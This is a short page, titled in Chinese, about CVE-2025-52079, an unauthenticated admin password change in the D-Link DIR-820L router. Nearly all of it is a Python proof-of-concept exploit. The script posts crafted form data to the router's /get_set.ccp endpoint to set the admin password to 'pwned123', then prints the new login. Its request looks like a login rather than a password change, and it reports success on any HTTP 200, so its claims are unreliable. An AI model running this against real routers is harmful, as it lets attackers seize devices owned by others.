CVE-2025-52079：D-Link DIR-820L路由器管理员密码未授权更改漏洞

#!/usr/bin/env python3 # CVE-2025-52079 - D-Link DIR-820L Unverified Password Change PoC # Exploits Improper Access Control in /get_set.ccp endpoint import requests import sys TARGET_IP = "192.168.0.1" # Default D-Link router IP TARGET_PORT = 80 NEW_PASSWORD = "pwned123" def exploit(target_ip, new_password): """ Send crafted POST request to /get_set.ccp to change admin password without authentication. """ url = f"http://{target_ip}:{TARGET_PORT}/get_set.ccp" # Crafted POST data with new administrator password payload = { "login_password": new_password, "login_name": "admin", "ACTION": "login", } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-52079)", "Referer": f"http://{target_ip}/", } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Password successfully changed to: {new_password}") print(f"[+] Login at http://{target_ip}/ with admin:{new_password}") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP password = sys.argv[2] if len(sys.argv) > 2 else NEW_PASSWORD exploit(target, password)